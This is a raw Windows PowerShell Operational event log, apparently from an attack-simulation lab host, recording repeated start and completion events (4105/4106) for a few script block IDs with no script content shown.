Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040844
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040843
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040842
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040841
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040840
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040839
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040838
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040837
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040836
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040835
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040834
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040833
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040832
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040831
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040829
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040828
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040827
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040826
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040825
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040824
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040823
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040822
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040821
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040820
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040819
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040816
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040815
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040814
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040813
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040812
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040811
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040810
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040809
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040808
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040805
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040804
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040803
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040802
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040801
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040800
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040798
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040797
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040796
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040795
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040794
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040792
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
